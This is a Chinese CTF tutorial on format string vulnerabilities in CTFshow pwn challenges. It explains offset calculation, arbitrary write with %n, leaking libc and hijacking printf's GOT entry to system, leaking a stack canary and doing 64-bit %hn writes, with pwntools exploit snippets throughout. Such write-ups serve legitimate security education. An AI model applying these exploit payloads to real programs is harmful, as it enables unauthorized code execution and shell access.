当前位置: 首页 > news >正文

CTFshow-pwn入门-格式化字符串漏洞实战:从任意读写到GOT覆写

1. 格式化字符串漏洞基础原理

格式化字符串漏洞是CTF pwn题型中的经典考点,它的本质是程序员错误地使用printf等格式化输出函数时,将用户输入直接作为第一个参数(格式化字符串)传递。这种漏洞之所以危险,是因为攻击者可以通过精心构造的输入实现内存任意读写。

举个例子,当程序中出现类似printf(user_input)这样的代码时,如果我们在user_input中输入%x,程序就会打印出栈上的数据。更危险的是%n格式化符,它能把已输出的字符数写入指定地址。比如输入AAAA%4$n,就会在第4个参数指向的位置写入数字4。

我在实际调试中发现,32位和64位程序在参数传递上有明显差异。32位程序所有参数都通过栈传递,而64位程序前6个参数会优先使用寄存器(rdi/rsi/rdx/rcx/r8/r9),超出的部分才会使用栈。这个特性直接影响我们计算格式化字符串偏移的方式。

2. 偏移计算与任意地址写入实战

2.1 确定格式化字符串偏移

要利用格式化字符串漏洞,首先需要确定我们的输入在栈上的位置。我常用的方法是输入一串AAAA配合多个%p

payload = b"AAAA" + b"%p."*10 io.sendline(payload)

在输出结果中查找0x41414141(AAAA的十六进制),数一下它是第几个参数。比如在32位程序中,如果出现在第7个%p的位置,说明偏移是7。

2.2 构造任意写payload

找到偏移后,就可以利用%n系列格式化符实现任意地址写入。这里有个实用技巧:通过控制输出的字符数来精确控制写入的值。比如:

target_addr = 0x0804B038 payload = p32(target_addr) + b"%6c%7$n"

这个payload会:

  1. 将目标地址压入栈(占4字节)
  2. 输出6个字符(空格填充)
  3. 将总输出字符数(4+6=10)写入第7个参数指向的地址

在CTFshow pwn91中,我就是用这个方法修改了daniu变量的值,成功拿到shell。

3. GOT表劫持技术详解

3.1 GOT/PLT机制回顾

动态链接的程序通过GOT(Global Offset Table)来实现函数地址的延迟绑定。当程序第一次调用某个库函数(如printf)时,会先跳转到PLT表,再通过GOT表完成地址解析。之后再次调用时就直接使用GOT表中存储的地址。

关键点在于:GOT表是可写的!这就给了我们劫持函数调用的机会。比如把printf的GOT项改为system的PLT地址,那么后续调用printf时实际执行的就是system。

3.2 完整利用链构造

以CTFshow pwn94为例,完整攻击流程如下:

  1. 泄露libc基址:通过格式化字符串泄露printf的真实地址
printf_got = elf.got["printf"] payload = p32(printf_got) + b"%6$s" io.sendline(payload) printf_addr = u32(io.recv(4))
  1. 计算system地址:根据libc版本计算偏移
libc = LibcSearcher("printf", printf_addr) system_addr = printf_addr - libc.dump("printf") + libc.dump("system")
  1. 覆写GOT表:使用任意写修改printf@got
payload = fmtstr_payload(6, {printf_got: system_addr}) io.sendline(payload)
  1. 触发shell:下次调用printf时传入"/bin/sh"
io.sendline("/bin/sh\x00")

4. 高级利用技巧与实战案例

4.1 栈数据泄露技巧

当flag直接存在于栈上时(如pwn96),可以通过大量%p来泄露栈数据。我开发了一个自动化脚本:

for i in range(6, 20): payload = f"%{i}$p".encode() io.sendline(payload) leak = io.recvline().strip() if b"6366" in leak: # "cf"的hex print(f"Found flag at position {i}") break

4.2 绕过栈保护机制

pwn98题目演示了如何绕过Stack Canary:

  1. 先用格式化字符串泄露canary值
  2. 栈溢出时保持canary值不变
  3. 覆盖返回地址到后门函数

关键payload构造:

canary = int(io.recvline(), 16) payload = b"A"*0x28 + p32(canary) + b"B"*12 + p32(backdoor)

4.3 64位环境下的特殊处理

64位程序(如pwn100)的利用需要注意:

  1. 参数优先通过寄存器传递
  2. 地址高位通常是0,可以分两次写入(先写低位再写高位)
  3. 使用%hn(2字节写入)代替%n可以减少输出量

一个典型的64位payload:

payload = f"%{lower_two_bytes}c%10$hn".encode() payload = payload.ljust(16, b"A") + p64(target_addr)

在实际比赛中,我建议先用%p泄露多个位置的值,画出完整的栈布局图,这对构造精准的payload非常有帮助。同时要注意不同libc版本带来的偏移差异,最好准备多个版本的libc数据库。

http://www.jsqmd.com/news/529901/

相关文章:

  • 心电算法验证的基石:主流心电数据库全景解析与应用指南
  • 3种方法实现跨设备控制 开源键鼠共享工具Lan Mouse全攻略
  • 2026年信息化一网通办平台word,目前一网通办平台推荐分析关键技术和产品信息全方位测评 - 品牌推荐师
  • 告别路径烦恼!手把手教你配置VSCode的jsconfig.json实现完美@跳转
  • 嵌入式天气客户端库设计与API迁移实践
  • 深度学习:从线性模型到深度神经网络的演进概述
  • 3. GPIO
  • ENVI5.3实战:如何用landsat_gapfill工具一键去除Landsat影像的讨厌条纹(附工具下载)
  • CoPaw模型服务监控与告警体系搭建教程
  • [知识自由获取]:智能适配技术驱动的内容访问优化解决方案
  • 次元画室一键部署后403怎么办?详细排查步骤与解决方案
  • 凌晨三点的 Bug 惊魂:DeepCode 救了我一命,还是只是个噪音制造机?
  • 别再死记硬背了!用PLC+伺服电机做个‘会思考’的小车,5分钟搞懂位置环、速度环、电流环
  • Agent智能体架构设计:让AI Agent具备长文本理解与任务分解能力
  • 别再手动轮询了!用STM32的UART DMA+环形缓冲区处理不定长数据(附状态机解析代码)
  • 从Firebase迁移到Supabase:一个前端开发者的真实踩坑与平滑过渡指南
  • 前端Excel处理避坑指南:xlsx.core.min.js vs xlsx.full.min.js 怎么选?附导入导出实战
  • 分数阶扩展卡尔曼滤波器、分数阶中心差分卡尔曼滤波器、分数阶无迹卡尔曼滤波器和分数阶粒子滤波器的状态估计附matlab代码
  • 如何快速构建企业级管理系统?全栈框架解决方案解析
  • 语音识别Pipeline搭建:SenseVoice-Small ONNX+Punctuation+SpeakerDiarization
  • FlowState Lab与Kafka集成:构建实时波动数据流处理管道
  • 告别网络折磨:手把手教你为STM32F4搭建MicroROS开发环境(含国内镜像与代理全攻略)
  • OCR文字识别镜像实测:复杂背景、手写体都能准确识别,效果惊艳
  • RMBG-2.0效果案例分享:珠宝反光表面、玻璃器皿、半透明材质处理
  • 【IEEE CPS出版】2026年人工智能、智能系统与信息安全国际学术会议(AISIS 2026)
  • 浅析Python中常见错误的自动化排查
  • umamusume-localify 技术优化指南:从问题诊断到性能提升的全流程解决方案
  • LightOnOCR-2-1B实现.NET平台文档自动化处理方案
  • 前阵子帮实验室师兄搭了个三相断路器电磁加热的仿真模型,折腾了快一周总算把发热曲线跑通了,今天碎碎念一下整个过程,顺便把踩过的坑和偷懒技巧分享给大家
  • R语言新手必看:CellChat安装与配置全攻略(附常见报错解决方案)